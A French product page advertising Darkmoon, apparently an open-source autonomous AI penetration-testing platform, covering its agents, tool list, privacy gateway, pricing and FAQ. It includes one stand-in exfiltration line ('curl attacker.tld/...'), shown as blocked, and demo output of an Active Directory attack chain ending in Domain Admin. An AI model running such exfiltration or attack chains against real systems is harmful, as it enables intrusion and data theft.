Darkmoon, Autonomous AI Penetration Testing Platform

Tests d'intrusion autonomes et continus

50 agents IA spécialistes mènent toute la campagne offensive, puis une grille adversariale qualifie chaque finding : exploité, confirmé ou non confirmé.50 agents IA spécialistes, 140+ outils de sécurité et un command center en direct. Darkmoon mène toute la campagne offensive sur le web, le cloud, l'Active Directory, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, puis qualifie chaque finding EXPLOITÉ, CONFIRMÉ ou NON CONFIRMÉ via une grille adversariale.

Sur cette page

Vu dans:TF1,L'Indépendant,Help Net Security

S.01Plateforme

Pas un scanner. Un chef d'orchestre autonome de la sécurité.

Darkmoon raisonne sur votre cible, modélise la surface d'attaque et dépêche les bons agents sur le web, le cloud, l'identité, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, avec un contrôle complet en cascade.

50Agents IA spécialisés
142Outils en liste blanche
LiveTableau de bord SSE
AES-256Runtime scellé

Outils

140+ outils de sécurité, tous derrière une allow-list vérifiée au build

  • subfinder
  • httpx
  • naabu
  • katana
  • nuclei
  • ffuf
  • wpscan
  • sqlmap
  • hydra
  • hashcat
  • netexec
  • bloodhound
  • impacket
  • mimikatz
  • kubectl
  • kubescape
  • whatweb
  • wafw00f
  • arjun
  • playwright

Voir en action

Périmètre défini, agents dépêchés, findings qualifiés, rapport livré. Pas une démonstration de fonctionnalités : le produit qui tourne sur une vraie cible.

S.02Agents IA

50 spécialistes. Un orchestrateur. Zéro pivot manuel.

  • Exploitation full-stack

    Web & API
  • Compromission identité & cloud

    Active Directory · AWS · Azure · GCP
  • Firmware & endpoints IA

    Embarqué · Kubernetes · LLM/MCP

Agents IA

L'orchestrateur identifie la stack de votre cible et dépêche automatiquement les bons spécialistes, du web et du cloud à l'Active Directory, Kubernetes, la CI/CD et le firmware. Un agent llm dédié couvre l'OWASP LLM Top 10, et en Pro un agent de remédiation transforme les findings confirmés en pull requests de correctif validées en sandbox, à relire par votre équipe.

Web · Cloud · Active Directory · Kubernetes · CI/CD · Firmware · AI/LLM

Exploitation full-stack

SQLi, XSS, SSRF, IDOR, RCE, SSTI, désérialisation, abus JWT, upload de fichier et path traversal, validés avec de vrais payloads, jamais des signatures.

Lancer un pentest web & API full-stack

Compromission identité & cloud

AS-REP roasting, Kerberoasting, relais NTLM, DCSync et ADCS ESC1-ESC8, plus minting de token IMDS, extraction Key Vault et pivots ROPC, chacun prouvé avec l'appel exact.

Compromettre l'Active Directory et le cloud

Firmware & endpoints IA

Extraction binwalk/squashfs, récupération de backdoor et exploitation de routeurs, RBAC Kubernetes et évasion de nœud, et un agent llm dédié à l'OWASP LLM Top 10.

Scanner firmware, Kubernetes et la couche LLM

Dépêchés par l'orchestrateur

  • pentest · orchestrator
  • llm · mcp
  • wordpress · cms
  • graphql · api
  • headless browser
  • aws · azure · gcp
  • active directory
  • entra id · sso
  • kubernetes
  • docker · registry
  • github · gitlab · jenkins
  • terraform · ansible
  • sql · nosql · vault
  • iot firmware
  • mobile
  • firewall · vpn
  • node · php · spring
  • observability

Pourquoi Darkmoon

Darkmoon raisonne sur votre cible, modélise la surface d'attaque et dépêche les bons agents sur le web, le cloud, l'identité, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, avec un contrôle complet en cascade.

14 signauxCœur moteur

Dispatch multi-agents

L'orchestrateur identifie 14 signaux technologiques et route la campagne vers les bons spécialistes sur le web, le cloud, l'Active Directory, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, en séquentiel ou en parallèle, avec une cascade plafonnée à trois niveaux pour éviter toute récursion infinie.

temps réelStreaming

Flux SSE en direct

Chaque finding, nœud d'infra et événement d'agent se diffuse sur le dashboard à l'instant où il se produit.

ISO 27001Export

Rapports prêts à publier

Formats ISO 27001, HackerOne et Bugcrowd, Markdown et PDF brandé, protégé par mot de passe, avec scoring CVSS 3.1 et mapping MITRE ATT&CK.

AES-256Scellé

Runtime durci

Stockage scellé, licensing matériel et watchdog d'intégrité continu.

Darkmoon partout

Le même moteur open source, branché à votre IDE, votre CI/CD, votre automatisation et votre stack SecOps. Chaque surface détecte son édition : le CLI communautaire lit votre rapport JSON local ; l'offre Pro payante ajoute l'API REST en direct, le streaming et la remédiation.

S.03SAST + remédiation autonome · Pro

Ne prouvez pas seulement la faille. Livrez le correctif relu.

  1. 01

    Trouver la cause racine

  2. 02

    Prouver que le correctif tient

  3. 03

    Un patch, avec preuve avant/après

  4. 04

    Toujours une proposition, jamais un merge

SAST + remédiation autonome · Pro

L'agent de remédiation Pro de Darkmoon prend le relais là où le pentest s'arrête. Pour chaque finding confirmé, il audite le code source de la cible à la recherche de la cause racine, écrit le correctif minimal, le prouve dans un sandbox éphémère et ouvre une pull request que votre équipe relit. Il ne merge jamais de lui-même.

01 · Audit du code (SAST)

Trouver la cause racine

Un audit de sécurité en trois phases relie chaque finding prouvé du sink vulnérable jusqu'à sa cause racine dans le code de la cible. Uniquement des problèmes de sécurité, aucun bruit de style.

02 · Validation en sandbox

Prouver que le correctif tient

L'exploit est reproduit sur un build neuf, le correctif appliqué, puis l'exploit et ses variantes rejoués pour prouver qu'ils échouent désormais, tandis que le comportement normal de l'application et ses tests passent toujours.

03 · Ouverture d'une pull request

Un patch, avec preuve avant/après

Un patch minimal ciblant la cause racine est poussé sur une branche et une pull request est ouverte, portant la preuve avant/après. GitHub, GitLab, Gitea, Bitbucket et Azure DevOps sont pris en charge.

04 · Relecture et merge humains

Toujours une proposition, jamais un merge

Chaque pull request est une proposition qu'une personne relit et merge. Darkmoon ne merge jamais automatiquement, et tout correctif qu'il n'a pas pu valider entièrement est ouvert en draft clairement identifié.

05

Dashboard ↔ pull request

Dans le dashboard, chaque finding gagne une colonne PR reliant la pull request qui le corrige : URL de la forge, état, findings liés, diff stat et la validation avant/après.

06

Credential reference

Les identifiants de push sont scellés au repos et résolus localement. L'exécution ne porte qu'une référence opaque, jamais le token, si bien que votre secret n'entre jamais dans le contexte du modèle.

Il rejoint un roster de 52 agents : un orchestrateur, 50 spécialistes offensifs (web, cloud, Active Directory, Kubernetes, bases de données et un agent llm qui déroule l'OWASP LLM Top 10 contre les endpoints d'inférence IA/LLM exposés) et cet agent de remédiation Pro.

S.04Confiance

La puissance de Claude. Vos données ne sortent jamais.

Sécurité runtime

Le garde-fou runtime de Darkmoon impose une exécution inviolable, un stockage scellé et un licensing matériel dès le démarrage du conteneur.

au reposResealing 30 s

Stockage scellé AES-256-GCM

Agents et workflows chiffrés au repos. Les clés dérivent de votre licence et de l'empreinte matérielle, resealées toutes les 30 secondes.

machine codeSHA-256

Licensing matériel

Le machine code dérive de l'adresse MAC et du modèle CPU. Aucun deployment ID à spoofer, aucune variable d'env à manipuler.

continuChecks 2 s

Watchdog d'intégrité binaire

Les hashes SHA-256 des binaires critiques sont re-vérifiés toutes les 2 secondes. Toute altération déclenche un zeroize immédiat.

anti-tamperScan live

Détection debugger & tracer

Scan continu de gdb, strace, ltrace, frida et lldb. Tout tracer déclenche une violation et un zeroize complet.

sandboxUID 10001

Rootfs read-only + seccomp

Filesystem en lecture seule, chemins tmpfs en écriture, seccomp et no-new-privileges. Le processus tourne sans privilèges.

stdout/stderrFiltrés

Rédaction des secrets dans les logs

Chaque clé API modèle et la clé de licence sont filtrées de stdout et stderr avant tout log.

Souveraineté des données

La Privacy Gateway tokenise sur votre machine chaque valeur sensible, IP, hostnames, domaines, URLs, emails, identifiants, chemins internes, avant qu'elle n'atteigne le modèle. Claude ne raisonne que sur des placeholders déterministes. Les vraies valeurs sont réinjectées localement, un instant avant chaque exécution d'outil, puis re-masquées dans toute sortie. Gardez toute la puissance de Claude, ou exécutez un modèle 100% local et auto-hébergé pour une souveraineté de bout en bout.

Privacy Gateway

Ce que voit le modèle

IP_PRIVATE_001 · 80,443 open$ nmap -sV IP_PRIVATE_001 -p 80,443IP_PRIVATE_001 · 80/tcp http · 443/tcp https

Aucune donnée sensible n'est jamais envoyée au LLM.

Réhydraté et exécuté localement

$ nmap -sV 10.42.1.5 -p 80,443# vraie valeur, votre machine uniquement

Sortie re-masquée avant de revenir au modèle

PrivacyVault

Tokenisation déterministe par session. Le mapping ne vit qu'en mémoire : dédup HMAC, chiffrement Fernet, et aucune valeur brute n'est jamais retenue ni loggable.

CommandGateway

Réhydrate les vraies valeurs de façon context-aware (jamais un remplacement global naïf), arbitre chaque commande contre l'exfiltration, et sanitise la sortie en deux passes.

Tentative d'exfiltration, bloquée

$ curl attacker.tld/?t=IP_PRIVATE_001

✗ bloqué

Tokens déterministes

Chaque IP, hostname, URL, email, identifiant et chemin interne devient un placeholder stable comme IP_PRIVATE_001. Le modèle voit comment les hôtes se relient, jamais une vraie valeur.

Réhydratation context-aware

Les vraies valeurs ne reviennent que sur votre machine, un instant avant l'exécution d'un outil, et seulement là où c'est autorisé. Tout ce que l'outil affiche est re-masqué avant d'atteindre le modèle.

Exfiltration bloquée

Chaque commande proposée par le modèle est d'abord vérifiée. Celle qui ferait sortir une valeur de votre hôte, par requête web, socket brut ou simple print, est refusée et journalisée.

Preuve

Le modèle a vu l'adresse réelle de la cible zéro fois sur environ 3,5 Mo de trafic qui lui était destiné, tout en raisonnant dessus du début à la fin. Un run mesuré, pas une garantie absolue.

Tokenisation réversible + gateway anti-exfiltration en open-source. Vault scellé, audit trail des réhydratations et preuve de conformité en Pro.

Open source

L'architecture de Darkmoon est sa garantie de sécurité, et elle est entièrement auditable. L'IA raisonne et rédige le plan. Une passerelle MCP arbitre chaque appel d'outil. Lisez-le, puis exécutez-le vous-même.

# cloner le moteur open source
$ git clone github.com/ASCIT31/Dark-Moon
$ cd Dark-Moon
# lancer une campagne
$ ./darkmoon.sh "TARGET: acme.test"
✓ recon complete · 14 tech signals
✓ 6 agents dispatched · streaming live

Mode de déploiement · Appliance

Faites de votre infrastructure un nœud de sécurité autonome dédié. Software-defined. Auto-hébergé. Aucun matériel propriétaire.

Software-defined · Self-hosted · No proprietary hardware

Tarifs

Open source au cœur. Une licence pour exécuter la plateforme autonome complète.

Community
Gratuit à vie, GPLv3

Open source, auto-hébergé à vie

Star
Community
Gratuit

Gratuit à vie, GPLv3

Pro
Tout Community, et

Pour les pentesters et équipes pro

Obtenir
Pro
€149par mois

Facturé €1788 par an

Custom
Tout Pro, et

Pour entreprises, MSSP et revendeurs

Contact
Custom
Parlons-en

Sur mesure selon votre périmètre

S.06FAQ

Les questions que les équipes sécurité posent en premier.

En quoi Darkmoon diffère-t-il d'un scanner de vulnérabilités ?Plateforme

Darkmoon orchestre une campagne offensive de bout en bout, il raisonne sur la cible, dépêche des spécialistes par domaine, valide les findings avec de vrais payloads, construit un graphe d'infrastructure et produit un rapport structuré. Un scanner exécute des signatures en une passe. Darkmoon exécute un pentest.

Pourquoi l'IA n'a-t-elle jamais accès au shell ?Architecture

Par design. Le modèle planifie et raisonne, mais chaque invocation d'outil passe par une passerelle MCP qui valide et arbitre l'appel. Le modèle n'exécute jamais directement un shell, ce qui rend l'engagement auditable, borné et sûr. Toute l'architecture est open source.

Darkmoon est-il vraiment open source ?Open source

Oui. Le moteur est publié sur GitHub sous ASCIT31/Dark-Moon, licence GPLv3. Vous pouvez lire la logique d'orchestration, les playbooks d'agents et la couche MCP, et l'auto-héberger. La licence commerciale ajoute le runtime durci, le dashboard managé et le support.

Quels formats de rapport Darkmoon produit-il ?Reporting

Standard ISO 27001, HackerOne, Bugcrowd (VRT / P1–P5) et un format custom. Chaque rapport inclut scoring CVSS 3.1, mapping MITRE ATT&CK, contrôles ISO 27001, preuves brutes et guidance de remédiation. L'export PDF est brandé et protégé par mot de passe.

Comment fonctionne le licensing ?Licensing

Darkmoon utilise un licensing matériel. Votre clé de licence est liée à une empreinte machine dérivée de votre matériel (adresse MAC, modèle CPU), elle ne peut être ni clonée ni déplacée vers une autre machine en changeant une variable d'environnement.

Est-il sûr de l'exécuter contre des environnements de production ?Sécurité

Darkmoon inclut des niveaux de bruit configurables (stealth, low, moderate), un mode safe-harbor, l'application de l'out-of-scope et la propagation du scope par agent. Le runtime est durci avec un filesystem read-only, seccomp, no-new-privileges et watchdog continu.

S.07Suite

Remplacez les pentests ponctuels par des tests de sécurité autonomes et continus.

Visibilité en direct, preuves validées et un rapport actionnable par votre équipe le jour même.

Vu dans:TF1,L'Indépendant,Help Net Security

50
Agents IA spécialisés
142
Outils en liste blanche
Live
Tableau de bord SSE
AES-256
Runtime scellé

140+ outils de sécurité, tous derrière une allow-list vérifiée au build

S.01SAST + remédiation autonome · Pro
Ne prouvez pas seulement la faille. Livrez le correctif relu.

L'agent de remédiation Pro de Darkmoon prend le relais là où le pentest s'arrête. Pour chaque finding confirmé, il audite le code source de la cible à la recherche de la cause racine, écrit le correctif minimal, le prouve dans un sandbox éphémère et ouvre une pull request que votre équipe relit. Il ne merge jamais de lui-même.

01 · Audit du code (SAST)
FindingsCVSS
SQL injection9.8
SSRF to metadata9.1
Broken access control8.7
JWT signature bypass7.5
Path traversal6.9

Trouver la cause racine

Un audit de sécurité en trois phases relie chaque finding prouvé du sink vulnérable jusqu'à sa cause racine dans le code de la cible. Uniquement des problèmes de sécurité, aucun bruit de style.

02 · Validation en sandbox
$darkmoon run --scope identity
→AS-REP roast · 3 accounts
→Kerberoast · svc_sql cracked
→NTLM relay → DCSync
✓Domain Admin, proven

Prouver que le correctif tient

L'exploit est reproduit sur un build neuf, le correctif appliqué, puis l'exploit et ses variantes rejoués pour prouver qu'ils échouent désormais, tandis que le comportement normal de l'application et ses tests passent toujours.

03 · Ouverture d'une pull request
New engagement
Targetapp.acme.test
Scopeweb · API · cloud
Window5 business days
Flat rate€799

Un patch, avec preuve avant/après

Un patch minimal ciblant la cause racine est poussé sur une branche et une pull request est ouverte, portant la preuve avant/après. GitHub, GitLab, Gitea, Bitbucket et Azure DevOps sont pris en charge.

04 · Relecture et merge humains
Attack surfaceexposure

Toujours une proposition, jamais un merge

Chaque pull request est une proposition qu'une personne relit et merge. Darkmoon ne merge jamais automatiquement, et tout correctif qu'il n'a pas pu valider entièrement est ouvert en draft clairement identifié.

ClientsBilling · Stripe
Acme Corp3 licences
Nordic SOC12 licences
Blue Harbor1 licence
Margin this month−35 %

Dashboard ↔ pull request

Dans le dashboard, chaque finding gagne une colonne PR reliant la pull request qui le corrige : URL de la forge, état, findings liés, diff stat et la validation avant/après.

darkmoon-licence.dmeDocker
LicencePro · annual
Machine code7F3A-…-C21E
Seats1 node
Statussealed ✓

Credential reference

Les identifiants de push sont scellés au repos et résolus localement. L'exécution ne porte qu'une référence opaque, jamais le token, si bien que votre secret n'entre jamais dans le contexte du modèle.

S.02Pourquoi Darkmoon

Pas un scanner. Un chef d'orchestre autonome de la sécurité.

Darkmoon raisonne sur votre cible, modélise la surface d'attaque et dépêche les bons agents sur le web, le cloud, l'identité, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, avec un contrôle complet en cascade.

Cœur moteur
14 signaux
Dispatch multi-agents

L'orchestrateur identifie 14 signaux technologiques et route la campagne vers les bons spécialistes sur le web, le cloud, l'Active Directory, Kubernetes, la CI/CD, le firmware et les endpoints IA/LLM, en séquentiel ou en parallèle, avec une cascade plafonnée à trois niveaux pour éviter toute récursion infinie.

En savoir plus: Dispatch multi-agents

Voir en action
Deux minutes. Un pentest autonome, du début à la fin.

Périmètre défini, agents dépêchés, findings qualifiés, rapport livré. Pas une démonstration de fonctionnalités : le produit qui tourne sur une vraie cible.

S.03Tarifs
Open source au cœur. Une licence pour exécuter la plateforme autonome complète.

Community
Gratuit à vie, GPLv3

Open source, auto-hébergé à vie

Star
Community
Gratuit

Gratuit à vie, GPLv3

Ce qui est inclus :

  • Moteur de pentest autonome complet (CLI/TUI), auto-hébergé, sur GitHub
  • GPLv3, audit, fork et modification libres des playbooks d'agents
  • 50 agents IA spécialistes + orchestrateur, 142 outils de sécurité
  • Exécution d'outils arbitrée par MCP, le modèle n'a jamais de shell
  • Privacy Gateway : tokenisation des prompts et coffre local
  • LLM local ou cloud, Ollama, llama.cpp, Anthropic, OpenAI, OpenRouter
  • Rapports Markdown et JSON ; GitHub Actions, GitLab, Jenkins, VS Code, JetBrains, Splunk, SDK/CLI
Pro
Tout Community, et

Pour les pentesters et équipes pro

Obtenir
Pro
€149par mois

Facturé €1788 par an

Tout Community, et :

  • Dashboard web : command center SSE en direct, historique des campagnes, planificateur
  • Carte orbitale 3D de la surface d'attaque, compatible VR (WebXR)
  • Agent de remédiation : pull requests de correctifs validés en sandbox, revue humaine
  • Rapports PDF brandés et web, modèles HackerOne / Bugcrowd
  • Runtime durci et scellé : stockage AES-256, licence liée au matériel, watchdog
  • API REST, utilisateurs du dashboard et SSO (OIDC), intégrations n8n et Grafana
  • Déploiement cloud en une commande (AWS, Azure, GCP, OVH) et mode appliance
Custom
Tout Pro, et

Pour entreprises, MSSP et revendeurs

Contact
Custom
Parlons-en

Sur mesure selon votre périmètre

Tout Pro, et :

  • Espace de travail partagé multi-postes
  • Rapports à votre marque
  • Programme partenaires / revendeurs (1 à 100 machines par clé)
  • Pentest à la demande, missions managées
  • Onboarding dédié et SLA

S.04Agents IA
50 spécialistes. Un orchestrateur. Zéro pivot manuel.

L'orchestrateur identifie la stack de votre cible et dépêche automatiquement les bons spécialistes, du web et du cloud à l'Active Directory, Kubernetes, la CI/CD et le firmware. Un agent llm dédié couvre l'OWASP LLM Top 10, et en Pro un agent de remédiation transforme les findings confirmés en pull requests de correctif validées en sandbox, à relire par votre équipe.

Web & API
FindingsCVSS
SQL injection9.8
SSRF to metadata9.1
Broken access control8.7
JWT signature bypass7.5
Path traversal6.9

Exploitation full-stack

SQLi, XSS, SSRF, IDOR, RCE, SSTI, désérialisation, abus JWT, upload de fichier et path traversal, validés avec de vrais payloads, jamais des signatures.

Active Directory · AWS · Azure · GCP
$darkmoon run --scope identity
→AS-REP roast · 3 accounts
→Kerberoast · svc_sql cracked
→NTLM relay → DCSync
✓Domain Admin, proven

Compromission identité & cloud

AS-REP roasting, Kerberoasting, relais NTLM, DCSync et ADCS ESC1-ESC8, plus minting de token IMDS, extraction Key Vault et pivots ROPC, chacun prouvé avec l'appel exact.

Embarqué · Kubernetes · LLM/MCP
Attack surfaceexposure

Firmware & endpoints IA

Extraction binwalk/squashfs, récupération de backdoor et exploitation de routeurs, RBAC Kubernetes et évasion de nœud, et un agent llm dédié à l'OWASP LLM Top 10.

S.05Souveraineté des données
La puissance de Claude. Vos données ne sortent jamais.

La Privacy Gateway tokenise sur votre machine chaque valeur sensible, IP, hostnames, domaines, URLs, emails, identifiants, chemins internes, avant qu'elle n'atteigne le modèle. Claude ne raisonne que sur des placeholders déterministes. Les vraies valeurs sont réinjectées localement, un instant avant chaque exécution d'outil, puis re-masquées dans toute sortie. Gardez toute la puissance de Claude, ou exécutez un modèle 100% local et auto-hébergé pour une souveraineté de bout en bout.

Privacy Gateway

Ce que voit le modèle
IP_PRIVATE_001 · 80,443 open
$ nmap -sV IP_PRIVATE_001 -p 80,443
IP_PRIVATE_001 · 80/tcp http · 443/tcp https

Aucune donnée sensible n'est jamais envoyée au LLM.

Réhydraté et exécuté localement
$ nmap -sV 10.42.1.5 -p 80,443
# vraie valeur, votre machine uniquement
Sortie re-masquée avant de revenir au modèle
Privacy
Gateway
PrivacyVaultTokenisation déterministe par session. Le mapping ne vit qu'en mémoire : dédup HMAC, chiffrement Fernet, et aucune valeur brute n'est jamais retenue ni loggable.
CommandGatewayRéhydrate les vraies valeurs de façon context-aware (jamais un remplacement global naïf), arbitre chaque commande contre l'exfiltration, et sanitise la sortie en deux passes.
Tentative d'exfiltration, bloquée$ curl attacker.tld/?t=IP_PRIVATE_001✗ bloqué
vraie valeur, votre machine uniquement
Tokens déterministes

Chaque IP, hostname, URL, email, identifiant et chemin interne devient un placeholder stable comme IP_PRIVATE_001. Le modèle voit comment les hôtes se relient, jamais une vraie valeur.

Réhydratation context-aware

Les vraies valeurs ne reviennent que sur votre machine, un instant avant l'exécution d'un outil, et seulement là où c'est autorisé. Tout ce que l'outil affiche est re-masqué avant d'atteindre le modèle.

Exfiltration bloquée

Chaque commande proposée par le modèle est d'abord vérifiée. Celle qui ferait sortir une valeur de votre hôte, par requête web, socket brut ou simple print, est refusée et journalisée.

Preuve

Le modèle a vu l'adresse réelle de la cible zéro fois sur environ 3,5 Mo de trafic qui lui était destiné, tout en raisonnant dessus du début à la fin. Un run mesuré, pas une garantie absolue.

Tokenisation réversible + gateway anti-exfiltration en open-source. Vault scellé, audit trail des réhydratations et preuve de conformité en Pro.

Conçu pour les environnements auto-hébergés et souverains · Détails techniques (en anglais) →

Sécurité runtime, conçue comme un coffre-fort : stockage scellé, licence liée au matériel, détection d'altération →

Open source
Le modèle planifie. Il n'a jamais le shell.

L'architecture de Darkmoon est sa garantie de sécurité, et elle est entièrement auditable. L'IA raisonne et rédige le plan. Une passerelle MCP arbitre chaque appel d'outil. Lisez-le, puis exécutez-le vous-même.

# cloner le moteur open source
$ git clone github.com/ASCIT31/Dark-Moon
$ cd Dark-Moon
# lancer une campagne
$ ./darkmoon.sh "TARGET: acme.test"
✓ recon complete · 14 tech signals
✓ 6 agents dispatched · streaming live

S.06Démarrer
Auto-hébergez la plateforme, commandez un engagement managé ou revendez-la à vos propres clients.

Trois façons d'utiliser Darkmoon.

S.07FAQ
Les questions que les équipes sécurité posent en premier.

En quoi Darkmoon diffère-t-il d'un scanner de vulnérabilités ?Plateforme

Darkmoon orchestre une campagne offensive de bout en bout, il raisonne sur la cible, dépêche des spécialistes par domaine, valide les findings avec de vrais payloads, construit un graphe d'infrastructure et produit un rapport structuré. Un scanner exécute des signatures en une passe. Darkmoon exécute un pentest.

Pourquoi l'IA n'a-t-elle jamais accès au shell ?Architecture

Par design. Le modèle planifie et raisonne, mais chaque invocation d'outil passe par une passerelle MCP qui valide et arbitre l'appel. Le modèle n'exécute jamais directement un shell, ce qui rend l'engagement auditable, borné et sûr. Toute l'architecture est open source.

Darkmoon est-il vraiment open source ?Open source

Oui. Le moteur est publié sur GitHub sous ASCIT31/Dark-Moon, licence GPLv3. Vous pouvez lire la logique d'orchestration, les playbooks d'agents et la couche MCP, et l'auto-héberger. La licence commerciale ajoute le runtime durci, le dashboard managé et le support.

Quels formats de rapport Darkmoon produit-il ?Reporting

Standard ISO 27001, HackerOne, Bugcrowd (VRT / P1–P5) et un format custom. Chaque rapport inclut scoring CVSS 3.1, mapping MITRE ATT&CK, contrôles ISO 27001, preuves brutes et guidance de remédiation. L'export PDF est brandé et protégé par mot de passe.

Comment fonctionne le licensing ?Licensing

Darkmoon utilise un licensing matériel. Votre clé de licence est liée à une empreinte machine dérivée de votre matériel (adresse MAC, modèle CPU), elle ne peut être ni clonée ni déplacée vers une autre machine en changeant une variable d'environnement.

Est-il sûr de l'exécuter contre des environnements de production ?Sécurité

Darkmoon inclut des niveaux de bruit configurables (stealth, low, moderate), un mode safe-harbor, l'application de l'out-of-scope et la propagation du scope par agent. Le runtime est durci avec un filesystem read-only, seccomp, no-new-privileges et watchdog continu.

S.08Suite
Remplacez les pentests ponctuels par des tests de sécurité autonomes et continus.

Visibilité en direct, preuves validées et un rapport actionnable par votre équipe le jour même.